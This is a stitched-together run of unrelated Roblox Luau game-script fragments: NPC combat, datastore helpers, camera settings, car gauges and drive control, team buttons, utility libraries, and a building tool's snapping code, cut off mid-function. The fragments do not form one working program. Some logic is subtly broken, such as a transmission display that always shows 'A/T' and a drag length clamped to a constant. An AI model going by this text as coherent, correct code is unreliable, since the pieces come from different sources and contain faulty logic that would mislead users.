sp=script.Parent lastattack=0 nextrandom=0 nextsound=0 nextjump=0 chasing=false variance=4 damage=50 attackrange=4.5 sightrange=999--60 runspeed=40 wonderspeed=8 healthregen=false colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"} function raycast(spos,vec,currentdist) local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent) if hit2~=nil and pos2 then if hit2.Parent==script.Parent and hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" or hit2.Parent:IsA("Hat") or hit2.Parent:IsA("Tool") or (hit2.Parent:FindFirstChild("Humanoid") and hit2.Parent:FindFirstChild("TEAM") and hit2.Parent:FindFirstChild("TEAM").Value == script.Parent.TEAM.Value) or (not hit2.Parent:FindFirstChild("Humanoid") and hit2.CanCollide==false) then local currentdist=currentdist-(pos2-spos).magnitude return raycast(pos2,vec,currentdist) end end return hit2,pos2 end function waitForChild(parent,childName) local child=parent:findFirstChild(childName) if child then return child end while true do child=parent.ChildAdded:wait() if child.Name==childName then return child end end end
--[=[ Returns whether the datastore failed. @return boolean ]=]
function DataStore:DidLoadFail() if not self._loadPromise then return false end if self._loadPromise:IsRejected() then return true end return false end function DataStore:PromiseLoadSuccessful() return self._maid:GivePromise(self:_promiseLoad()):Then(function() return true end, function() return false end) end
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about -- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
local MIN_Y = math.rad(-80) local MAX_Y = math.rad(80) local VR_ANGLE = math.rad(15) local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0) local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0) local VR_LOW_INTENSITY_REPEAT = 0.1 local VR_HIGH_INTENSITY_REPEAT = 0.4 local ZERO_VECTOR2 = Vector2.new(0,0) local ZERO_VECTOR3 = Vector3.new(0,0,0) local SEAT_OFFSET = Vector3.new(0,5,0) local VR_SEAT_OFFSET = Vector3.new(0,4,0) local HEAD_OFFSET = Vector3.new(0,1.5,0) local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0) local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0) local DEAD_OFFSET = Vector3.new(0,1.5,0) local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1) local GAMEPAD_ZOOM_STEP_1 = 0 local GAMEPAD_ZOOM_STEP_2 = 10 local GAMEPAD_ZOOM_STEP_3 = 20 local ZOOM_SENSITIVITY_CURVATURE = 0.5 local FIRST_PERSON_DISTANCE_MIN = 0.5 local HUMANOID_STATES = { [Enum.HumanoidStateType.Dead] = true; [Enum.HumanoidStateType.Physics] = true; } local CameraUtils = require(script.Parent:WaitForChild("CameraUtils")) local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController")) local CameraInput = require(script.Parent:WaitForChild("CameraInput")) local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
---
if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) local handler = car.Fogs script.Parent.MouseButton1Click:connect(function() if car.Body.Fogs.F.L.L.Enabled == false then handler:FireServer("Lights",1) script.Parent.BackgroundColor3 = Color3.new(0,255/255,0) script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0) for index, child in pairs(car.Body.Fogs.F:GetChildren()) do child.Material = Enum.Material.Neon child.L.Enabled = true end elseif car.Body.Fogs.F.L.L.Enabled == true then handler:FireServer("Lights",0) script.Parent.BackgroundColor3 = Color3.new(0,0,0) script.Parent.TextStrokeColor3 = Color3.new(0,0,0) for index, child in pairs(car.Body.Fogs.F:GetChildren()) do child.Material = Enum.Material.SmoothPlastic child.L.Enabled = false end end end)
-- Do not edit the below.
script.Parent.Changed:connect(function(child) SingleDriverMode = script.Parent.SingleMode.Value if SingleDriverMode == true then if script.Parent.Occupant ~= nil then if script.Parent.Occupant.Parent.Name ~= AllowedDriver then script.Parent.Occupant.Jump = true script.Parent.Occupant.Health = 0 script.Parent.Fail:Play() else end end else for i,v in pairs(Blacklist) do if script.Parent.Occupant ~= nil then if script.Parent.Occupant.Parent.Name == Blacklist[i] then if script.Parent.Occupant.Parent.Name ~= AllowedDriver then script.Parent.Occupant.Jump = true script.Parent.Occupant.Health = 0 script.Parent.Fail:Play() end else end end end end end)
-- tu dois assigner la bonne couleur
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent.Name local normalBorderColor = script.Parent.TextLabel.TextColor.Color function Click(mouse) if game.Players[plr].TeamColor ~= game.Teams:FindFirstChild(script.Parent.Name).TeamColor then game.Players[plr].TeamColor = game.Teams:FindFirstChild(script.Parent.Name).TeamColor script.Parent.Border.ImageColor3 = Color3.new(0.333333, 1, 0) wait(.25) script.Parent.Border.ImageColor3 = normalBorderColor wait(.1) script.Parent.Parent.Parent.Parent.Parent.Parent.Parent.Character.Humanoid.Health = 0 else script.Parent.Border.ImageColor3 = Color3.new(1, 0, 0) wait(.25) script.Parent.Border.ImageColor3 = normalBorderColor wait(.1) end end script.Parent.MouseButton1Click:connect(Click)
--Atomic Bomb
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(character) local Humanoid = character:WaitForChild("Humanoid") Humanoid.Died:connect(function() if player.AtomicBomb.Value == 2 then player.AtomicBomb.Value = 1 end end) end) end) game.Players.PlayerRemoving:Connect(function(player) if player.AtomicBomb.Value == 2 then player.AtomicBomb.Value = 1 end end)
--[=[ Converts an item http://reactivex.io/documentation/operators/from.html @param item Promise | table @return Observable ]=]
function Rx.from(item) if Promise.isPromise(item) then return Rx.fromPromise(item) elseif type(item) == "table" then return Rx.of(unpack(item)) else -- TODO: Iterator? error("[Rx.from] - cannot convert") end end
--- Add a line to the command bar
function Window:AddLine(text, options) options = options or {} text = tostring(text) if typeof(options) == "Color3" then options = { Color = options } end if #text == 0 then Window:UpdateWindowHeight() return end local str = self.Cmdr.Util.EmulateTabstops(text or "nil", 8) local line = Line:Clone() line.Size = UDim2.new( line.Size.X.Scale, line.Size.X.Offset, 0, TextService:GetTextSize( str, line.TextSize, line.Font, Vector2.new(Gui.UIListLayout.AbsoluteContentSize.X, math.huge) ).Y + (LINE_HEIGHT - line.TextSize) ) line.Text = str line.TextColor3 = options.Color or line.TextColor3 line.RichText = options.RichText or false line.Parent = Gui end
-- declarations
local sDied = newSound("rbxasset://sounds/uuhhh.wav") local sOuch = newSound("rbxasset://sounds/splat.wav") local sFallingDown = newSound("rbxasset://sounds/splat.wav") local sFreeFalling = newSound("rbxasset://sounds/button.wav") local sGettingUp = newSound("rbxasset://sounds/hit.wav") local sJumping = newSound("rbxasset://sounds/button.wav") local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3") sRunning.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid")
--Automatic Gauge Scaling
if autoscaling then local wDia = bike.RearSection.Wheel.Size.Y for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",gauges.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = gauges.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",gauges.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = gauges.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) values.RPM.Changed:connect(function() gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000)) end) local _TCount = _Tune.Turbochargers local _SCount = _Tune.Superchargers if _TCount~=0 or _SCount~=0 then values.Boost.Changed:connect(function() local _T = 0 local _S = 0 if _TCount~=0 then _T = _Tune.T_Boost*_TCount end if _SCount~=0 then _S = _Tune.S_Boost*_SCount end local tboost = (math.floor(values.BoostTurbo.Value)*1.2)-(_T/5) local sboost = math.floor(values.BoostSuper.Value) gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,values.Boost.Value/(_T+_S)) gauges.PSI.Text = tostring(math.floor(tboost+sboost).." PSI") end) else gauges.Boost:Destroy() end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,170/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.TCSActive.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = true gauges.TCS.TextColor3 = Color3.new(1,0,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.TCS.Visible = false end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = false end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true end else if gauges.TCS.Visible then gauges.TCS.Visible = false end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,170/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.ABSActive.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(1,0,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.ABS.Visible = false end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = false end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true end else if gauges.ABS.Visible then gauges.ABS.Visible = false end end end) function PBrake() gauges.PBrake.Visible = values.PBrake.Value end values.PBrake.Changed:connect(PBrake) function Gear() if values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end values.TransmissionMode.Changed:connect(Gear) values.Velocity.Changed:connect(function(property) gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) gauges.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(gauges.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
-- Local Variables
local Events = game:GetService("ReplicatedStorage").Events local DisplayIntermission = Events.DisplayIntermission local DisplayNotification = Events.DisplayNotification local DisplayTimerInfo = Events.DisplayTimerInfo local DisplayVictory = Events.DisplayVictory local DisplayScore = Events.DisplayScore local StarterGui = game:GetService("StarterGui")
--Configuration
Toolname = "Crowbar" --Name of your tool, make sure tool is in lighting
-- task.wait(Close.Length) -- Hold:Stop() -- HoldClose:Play()
PlayIdle = false task.wait(1.1) DB2 = true end end) script.Parent.Equipped:Connect(function() if PlayIdle then
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local u1 = require(script.Parent.CameraShakeInstance); function v1.Bump() local v2 = u1.new(2.5, 4, 0.1, 0.75); v2.PositionInfluence = Vector3.new(0.15, 0.15, 0.15); v2.RotationInfluence = Vector3.new(1, 1, 1); return v2; end; function v1.Explosion() local v3 = u1.new(2.5, 5, 0, 3.5); v3.PositionInfluence = Vector3.new(0.25, 0.25, 0.25); v3.RotationInfluence = Vector3.new(4, 2, 2); return v3; end; function v1.BoomDead() local v4 = u1.new(2.5, 7, 0, 5); v4.PositionInfluence = Vector3.new(0.25, 0.25, 0.25); v4.RotationInfluence = Vector3.new(4, 2, 2); return v4; end; function v1.Earthquake() local v5 = u1.new(0.6, 3.5, 2, 10); v5.PositionInfluence = Vector3.new(0.25, 0.25, 0.25); v5.RotationInfluence = Vector3.new(1, 1, 4); return v5; end; function v1.BadTrip() local v6 = u1.new(10, 0.15, 5, 10); v6.PositionInfluence = Vector3.new(0, 0, 0.15); v6.RotationInfluence = Vector3.new(2, 1, 4); return v6; end; function v1.HandheldCamera() local v7 = u1.new(1, 0.25, 5, 10); v7.PositionInfluence = Vector3.new(0, 0, 0); v7.RotationInfluence = Vector3.new(1, 0.5, 0.5); return v7; end; function v1.Vibration() local v8 = u1.new(0.4, 20, 2, 2); v8.PositionInfluence = Vector3.new(0, 0.15, 0); v8.RotationInfluence = Vector3.new(1.25, 0, 4); return v8; end; function v1.RoughDriving() local v9 = u1.new(1, 2, 1, 1); v9.PositionInfluence = Vector3.new(0, 0, 0); v9.RotationInfluence = Vector3.new(1, 1, 1); return v9; end; local v10 = {}; function v10.__index(p1, p2) local v11 = v1[p2]; if type(v11) == "function" then return v11(); end; error("No preset found with index \"" .. p2 .. "\""); end; return setmetatable({}, v10);
--[[ Aum359Rbx ]]-- --[[ Sc 1 ]]
-- local Light = script.Parent
--[=[ @within TableUtil @function Sample @param tbl table @param sampleSize number @param rngOverride Random? @return table Returns a random sample of the table. ```lua local t = {1, 2, 3, 4, 5, 6, 7, 8, 9} local sample = TableUtil.Sample(t, 3) print(sample) --> e.g. {6, 2, 5} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function Sample(tbl: Table, size: number, rngOverride: Random?): Table assert(type(tbl) == "table", "First argument must be a table") assert(type(size) == "number", "Second argument must be a number") local shuffled = Copy(tbl) local sample = table.create(size) local random = if typeof(rngOverride) == "Random" then rngOverride else rng local len = #tbl size = math.clamp(size, 1, len) for i = 1,size do local j = random:NextInteger(i, len) shuffled[i], shuffled[j] = shuffled[j], shuffled[i] end table.move(shuffled, 1, size, 1, sample) return sample end
---- user inputs ----
local maxWalkDistance=500;--the maximum walking distance local pickUpTools=true;--will pick up and equip tools that are touched
--local humanoid = hit.Parent:findFirstChild("Humanoid") -- if math.random(1,100)==1 and humanoid==nil then -- hit:BreakJoints() -- end
if hit.Name~=ball.Name and exploded==false then exploded=true local ballp=ball.Position explode() ball.Anchored=true ball.Transparency=1 ball.CanCollide=false wait(0.01) ball:Destroy() if hit.Parent and hit.Parent:FindFirstChildWhichIsA("Humanoid") then hit.Parent.Humanoid:TakeDamage(math.random(60,80)) end --else -- local ricochetpart = Instance.new("Part") -- ricochetpart.Position = ballp -- ricochetpart.Anchored = true -- ricochetpart.CanCollide = false -- ricochetpart.Transparency = 1 -- ricochetpart.Size = Vector3.new(0.1,0.1,0.1) -- ricochetpart.Parent = workspace -- ricochetpart.Name = "ricochetpart" -- --local ricochetpartsound = ricochetsound:Clone() -- local ricochetpartsound = Instance.new("Sound") -- ricochetpartsound.SoundId = ("rbxassetid://3727467442") -- ricochetpartsound.Parent = ricochetpart -- ricochetpartsound:Play() -- game.Debris:AddItem(ricochetpart, 1) --end --explodebutdontdestroy() --explode()
--[=[ Fires the equivalent server-side signal with the given arguments. :::note Outbound Middleware All arguments pass through any outbound middleware before being sent to the server. ::: ]=]
function ClientRemoteSignal:Fire(...: any) if self._hasOutbound then self._re:FireServer(self:_processOutboundMiddleware(...)) else self._re:FireServer(...) end end
--//D//--
if script.Parent.Gear.Value == 1 then if script.Parent.CC.Value == true then carSeat.Parent.Parent.RFW.VS.Throttle = 1 carSeat.Parent.Parent.LFW.VS.Throttle = 1 carSeat.Parent.Parent.RRW.VS.Throttle = 1 carSeat.Parent.Parent.LRW.VS.Throttle = 1 carSeat.Parent.Parent.RFW.VS.Torque = (script.Parent.FTQ.Value) carSeat.Parent.Parent.LFW.VS.Torque = (script.Parent.FTQ.Value) carSeat.Parent.Parent.RRW.VS.Torque = (script.Parent.RTQ.Value) carSeat.Parent.Parent.LRW.VS.Torque = (script.Parent.RTQ.Value) end if script.Parent.CC.Value == false then if script.Parent.Gear.Value == 1 then if carSeat.Throttle == 1 then carSeat.Parent.Parent.RFW.VS.Throttle = 1 carSeat.Parent.Parent.LFW.VS.Throttle = 1 carSeat.Parent.Parent.RRW.VS.Throttle = 1 carSeat.Parent.Parent.LRW.VS.Throttle = 1 carSeat.Parent.Parent.RFW.VS.MaxSpeed = maxsp carSeat.Parent.Parent.LFW.VS.MaxSpeed = maxsp carSeat.Parent.Parent.RRW.VS.MaxSpeed = maxsp carSeat.Parent.Parent.LRW.VS.MaxSpeed = maxsp else carSeat.Parent.Parent.RFW.VS.Throttle = 0 carSeat.Parent.Parent.LFW.VS.Throttle = 0 carSeat.Parent.Parent.RRW.VS.Throttle = 0 carSeat.Parent.Parent.LRW.VS.Throttle = 0 carSeat.Parent.Parent.RFW.VS.MaxSpeed = maxsp carSeat.Parent.Parent.LFW.VS.MaxSpeed = maxsp carSeat.Parent.Parent.RRW.VS.MaxSpeed = maxsp carSeat.Parent.Parent.LRW.VS.MaxSpeed = maxsp end if script.Parent.Deployed.Value == false then if carSeat.Steer == 1 and carSeat.Throttle == 1 then carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/eval)*0.4 carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/eval)*-0.7 carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/eval)*0.6 carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/eval)*0.4 elseif carSeat.Steer == -1 and carSeat.Throttle == 1 then carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/eval)*0.4 carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/eval)*-0.7 carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/eval)*0.6 carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/eval)*0.4 elseif carSeat.Throttle == 1 and carSeat.Steer == 0 then carSeat.Parent.Parent.RRW.VS.Torque = tq.Value/eval carSeat.Parent.Parent.RFW.VS.Torque = ftq.Value/eval carSeat.Parent.Parent.LRW.VS.Torque = tq.Value/eval carSeat.Parent.Parent.LFW.VS.Torque = ftq.Value/eval elseif carSeat.Throttle == 0 and carSeat.Steer == 0 then carSeat.Parent.Parent.RRW.VS.Torque = cst.Value carSeat.Parent.Parent.RFW.VS.Torque = cst.Value carSeat.Parent.Parent.LRW.VS.Torque = cst.Value carSeat.Parent.Parent.LFW.VS.Torque = cst.Value end end if script.Parent.Deployed.Value == true then if carSeat.Steer == 1 and carSeat.Throttle == 1 then carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/val)*-0.1 carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/val)*0.9 carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/val)*1.25 carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/val)*0.2 elseif carSeat.Steer == -1 and carSeat.Throttle == 1 then carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/val)*-0.1 carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/val)*0.9 carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/val)*1.25 carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/val)*0.2 elseif carSeat.Throttle == 1 and carSeat.Steer == 0 then carSeat.Parent.Parent.RRW.VS.Torque = tq.Value/val carSeat.Parent.Parent.RFW.VS.Torque = ftq.Value/val carSeat.Parent.Parent.LRW.VS.Torque = tq.Value/val carSeat.Parent.Parent.LFW.VS.Torque = ftq.Value/val elseif carSeat.Throttle == 0 and carSeat.Steer == 0 then carSeat.Parent.Parent.RRW.VS.Torque = cst.Value carSeat.Parent.Parent.RFW.VS.Torque = cst.Value carSeat.Parent.Parent.LRW.VS.Torque = cst.Value carSeat.Parent.Parent.LFW.VS.Torque = cst.Value end end end end end
-- DO NOT EDIT UNLESS YOU KNOW WHAT YOU ARE DOING!!! --
function onClicked() script.Parent.Parent.A.D1.Transparency = 1 script.Parent.Parent.A.D2.Transparency = 1 script.Parent.Parent.A.D3.Transparency = 1 script.Parent.Parent.A.D4.Transparency = 1 script.Parent.Parent.A.D1.CanCollide = false script.Parent.Parent.A.D2.CanCollide = false script.Parent.Parent.A.D3.CanCollide = false script.Parent.Parent.A.D4.CanCollide = false script.Parent.Parent.B.D1.Transparency = 0 script.Parent.Parent.B.D2.Transparency = 0 script.Parent.Parent.B.D3.Transparency = 0.7 script.Parent.Parent.B.D4.Transparency = 0.7 script.Parent.Parent.B.D1.CanCollide = true script.Parent.Parent.B.D2.CanCollide = true script.Parent.Parent.B.D3.CanCollide = true script.Parent.Parent.B.D4.CanCollide = true wait(0.1) script.Parent.Parent.B.D1.Transparency = 1 script.Parent.Parent.B.D2.Transparency = 1 script.Parent.Parent.B.D3.Transparency = 1 script.Parent.Parent.B.D4.Transparency = 1 script.Parent.Parent.B.D1.CanCollide = false script.Parent.Parent.B.D2.CanCollide = false script.Parent.Parent.B.D3.CanCollide = false script.Parent.Parent.B.D4.CanCollide = false script.Parent.Parent.C.D1.Transparency = 0 script.Parent.Parent.C.D2.Transparency = 0 script.Parent.Parent.C.D3.Transparency = 0.7 script.Parent.Parent.C.D4.Transparency = 0.7 script.Parent.Parent.C.D1.CanCollide = true script.Parent.Parent.C.D2.CanCollide = true script.Parent.Parent.C.D3.CanCollide = true script.Parent.Parent.C.D4.CanCollide = true wait(0.1) script.Parent.Parent.C.D1.Transparency = 1 script.Parent.Parent.C.D2.Transparency = 1 script.Parent.Parent.C.D3.Transparency = 1 script.Parent.Parent.C.D4.Transparency = 1 script.Parent.Parent.C.D1.CanCollide = false script.Parent.Parent.C.D2.CanCollide = false script.Parent.Parent.C.D3.CanCollide = false script.Parent.Parent.C.D4.CanCollide = false script.Parent.Parent.D.D1.Transparency = 0 script.Parent.Parent.D.D2.Transparency = 0 script.Parent.Parent.D.D3.Transparency = 0.7 script.Parent.Parent.D.D4.Transparency = 0.7 script.Parent.Parent.D.D1.CanCollide = true script.Parent.Parent.D.D2.CanCollide = true script.Parent.Parent.D.D3.CanCollide = true script.Parent.Parent.D.D4.CanCollide = true wait(0.1) script.Parent.Parent.D.D1.Transparency = 1 script.Parent.Parent.D.D2.Transparency = 1 script.Parent.Parent.D.D3.Transparency = 1 script.Parent.Parent.D.D4.Transparency = 1 script.Parent.Parent.D.D1.CanCollide = false script.Parent.Parent.D.D2.CanCollide = false script.Parent.Parent.D.D3.CanCollide = false script.Parent.Parent.D.D4.CanCollide = false script.Parent.Parent.E.D1.Transparency = 0 script.Parent.Parent.E.D2.Transparency = 0 script.Parent.Parent.E.D3.Transparency = 0.7 script.Parent.Parent.E.D4.Transparency = 0.7 script.Parent.Parent.E.D1.CanCollide = true script.Parent.Parent.E.D2.CanCollide = true script.Parent.Parent.E.D3.CanCollide = true script.Parent.Parent.E.D4.CanCollide = true end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Event that fires when a new point is snapped
PointSnapped = Signal.new() function StartSnapping() -- Make sure snapping isn't already enabled if SnappingStage or SnapTracking.Enabled then return; end; -- Start first snapping stage SnappingStage = 'Starting'; -- Only enable corner snapping SnapTracking.TrackEdgeMidpoints = false; SnapTracking.TrackFaceCentroids = false; SnapTracking.TargetFilter = function (Target) return Selection.PartIndex[Target] end -- Trigger the PointSnapped event when a new point is snapped SnapTracking.StartTracking(function (NewPoint) if NewPoint and NewPoint.p ~= SnappedPoint then SnappedPoint = NewPoint.p; PointSnapped:Fire(NewPoint.p); end; end); -- Listen for when the user starts dragging while in snap mode Connections.SnapDragStart = Support.AddUserInputListener('Began', 'MouseButton1', false, function (Input) -- Initialize snapping state SnappingStage = 'Direction'; SnappingStartAim = Vector2.new(Input.Position.X, Input.Position.Y); SnappingStartPoint = SnappedPoint; SnappingStartTarget = SnapTracking.Target; SnappingStartDirections = GetFaceOffsetsFromCorner(SnappingStartTarget, SnappingStartPoint); SnappingStartSelectionState = PreparePartsForResizing(); AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Pause snapping SnapTracking.StopTracking(); -- Start a direction line DirectionLine = Core.Tool.Interfaces.SnapLine:Clone(); DirectionLine.Parent = Core.UI; DirectionLine.Visible = false; -- Track changes for history TrackChange(); -- Listen for when the user drags Connections.SnapDrag = Support.AddUserInputListener('Changed', 'MouseMovement', true, function (Input) -- Update the latest aim SnappingEndAim = Vector2.new(Input.Position.X, Input.Position.Y); ScreenSnappedPoint = Workspace.CurrentCamera:WorldToScreenPoint(SnappingStartPoint); ScreenSnappedPoint = Vector2.new(ScreenSnappedPoint.X, ScreenSnappedPoint.Y); -- Calculate direction setting length local DirectionSettingLength = math.min(50, math.max(50, (SnappingStartAim - ScreenSnappedPoint).magnitude * 1.5)); -- Use the mouse position to figure out the resize direction (until after direction setting length) if SnappingStage == 'Direction' then -- Get current angle from snap point local DragAngle = math.deg(math.atan2(SnappingEndAim.Y - ScreenSnappedPoint.Y, SnappingEndAim.X - ScreenSnappedPoint.X)); DragAngle = (DragAngle > 0) and (DragAngle - 360) or DragAngle; -- Go through corner offsets representing the possible directions local Directions = {}; for _, Direction in pairs(SnappingStartDirections) do -- Map the corner & corner offset to screen points local ScreenOffsetPoint = Workspace.CurrentCamera:WorldToScreenPoint(Direction.Offset); -- Get direction angle from snap point local DirectionAngle = math.deg(math.atan2(ScreenOffsetPoint.Y - ScreenSnappedPoint.Y, ScreenOffsetPoint.X - ScreenSnappedPoint.X)); DirectionAngle = (DirectionAngle > 0) and (DirectionAngle - 360) or DirectionAngle; -- Calculate delta between drag and direction angles local AngleDelta = math.abs(DragAngle - DirectionAngle) % 180; AngleDelta = (AngleDelta > 90) and (180 - AngleDelta) or AngleDelta; -- Insert the potential direction table.insert(Directions, { Face = Direction.Face, AngleDelta = AngleDelta, DirectionAngle = DirectionAngle, Offset = Direction.Offset }); end; -- Get the direction most similar to the dragging angle table.sort(Directions, function (A, B) return A.AngleDelta < B.AngleDelta; end); -- Center direction line at snap point DirectionLine.Position = UDim2.new(0, ScreenSnappedPoint.X, 0, ScreenSnappedPoint.Y); -- Orient direction line towards drag direction 